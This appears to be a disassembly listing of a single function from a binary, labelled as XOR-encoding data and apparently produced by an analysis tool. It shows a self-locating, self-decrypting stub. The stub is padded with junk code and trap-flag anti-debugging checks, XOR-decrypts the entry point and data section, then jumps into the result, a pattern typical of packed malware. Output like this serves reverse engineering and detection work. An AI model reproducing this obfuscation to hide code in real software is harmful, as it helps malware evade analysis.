Function at 0x408b7c
Capabilities:
Encode data using xor

Disassembly:
add si, 0
push edx
pushfd
pop edx
test dh, 1
jne 0x408b3a
pop edx
mov al, al
cld
xor di, 0
push edx
pushfd
pop edx
test dh, 1
jne 0x408b4a
pop edx
call 0x408b7c
add bx, 0
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408b5c
pop ecx
sub al, 0
cld
jmp 0x408b65
add dx, 0
xchg sp, sp
nop
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408b73
pop ebx
jmp 0x408b79
cld
nop
nop
pop ebp
nop
nop
xchg bx, bx
nop
cld
sub ebp, 0x401005
jmp 0x408b8d
nop
cld
xor ah, 0
jmp 0x408b95
add dl, 0
mov bh, bh
or ax, 0
mov ax, ax
jmp 0x408ba4
sub bx, 0
nop
cld
cld
cld
nop
lea esi, [ebp + 0x4010e9]
sub cx, 0
nop
nop
nop
mov ebx, 0x27c
or dx, 0
or al, 0
push eax
pushfd
pop eax
test ah, 1
jne 0x408bcb
pop eax
nop
xor ax, 0
nop
nop
mov dl, byte [esi]
jmp 0x408bda
xor sp, 0
xchg ebp, ebp
xchg al, al
cld
nop
cld
cld
rol dl, 0xb8
mov bh, bh
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408bf1
pop ecx
nop
mov byte [esi], dl
jmp 0x408bfa
xchg bh, bh
add bp, 0
nop
nop
dec ebx
or edi, 0
cld
cld
jmp 0x408c0b
nop
jmp 0x408c0f
xor al, 0
nop
xor ch, 0
cld
nop
nop
inc esi
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408c1f
pop ebx
nop
jmp 0x408c26
sub eax, 0
xchg ah, ah
cld
nop
cld
test ebx, ebx
jne 0x408bd5
pushal
mov esi, entry0
mov eax, 0x26d5f9fb
mov dword [esi], eax
mov eax, 0x5a911d86
mov dword [esi + 4], eax
mov eax, 0xad933d8b
mov dword [esi + 8], eax
mov eax, 0xa2e139ca
mov dword [esi + 0xc], eax
mov eax, 0xa5b17d41
mov dword [esi + 0x10], eax
mov eax, 0xbdb16d41
mov dword [esi + 0x14], eax
mov eax, 0xae2d3b43
mov dword [esi + 0x18], eax
popal
jmp 0x408c78
pushal
pushfd
mov esi, entry0
mov edi, esi
mov ecx, 0x1000
mov ebx, 0xad9539ca
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408c8b
popfd
popal
jmp 0x408c97
pushal
pushfd
mov esi, section..data
mov edi, esi
mov ecx, 0x800
mov ebx, 0xad9539ca
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x408caa
popfd
popal
mov edi, 0x4011cb
call edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 0x7d], ah
add byte [esi - 0x7d], ah
cmc
add ah, bh
nop
add bp, 0
mov dh, dh
nop
jmp 0x408ec6
jmp 0x408ec9
or cl, 0
add bp, 0
nop
jmp 0x408ed4
xchg ax, ax
xor di, 0
xor ax, 0
nop
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408ee6
pop ebx
xchg ebx, ebx
nop
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408ef2
pop ecx
sub bl, 0
jmp 0x408efb
add ah, 0
jmp 0x408f01
xchg dl, dl
mov bh, bh
add bp, 0
sub al, 0
push ebx
pushfd
pop ebx
test bh, 1
jne 0x408f11
pop ebx
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f1a
pop ecx
sub ebp, 0
nop
add dx, 0
add esp, 0
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f2e
pop ecx
nop
cld
xor cx, 0
or bx, 0
xor bl, 0
cld
or si, 0
mov edi, edi
jmp 0x408f48
nop
jmp 0x408f4c
xor si, 0
add cl, 0
mov cx, cx
jmp 0x408f59
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f5f
pop ecx
push eax
pushfd
pop eax
test ah, 1
jne 0x408f68
pop eax
add bp, 0
xchg ah, ah
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f77
pop ecx
jmp 0x408f7d
cld
or ax, 0
nop
jmp 0x408f86
add bh, 0
xor dh, 0
nop
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408f93
pop ecx
or di, 0
nop
sub di, 0
mov ah, ah
push ecx
pushfd
pop ecx
test ch, 1
jne 0x408fa7
pop ecx
cld
cld
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al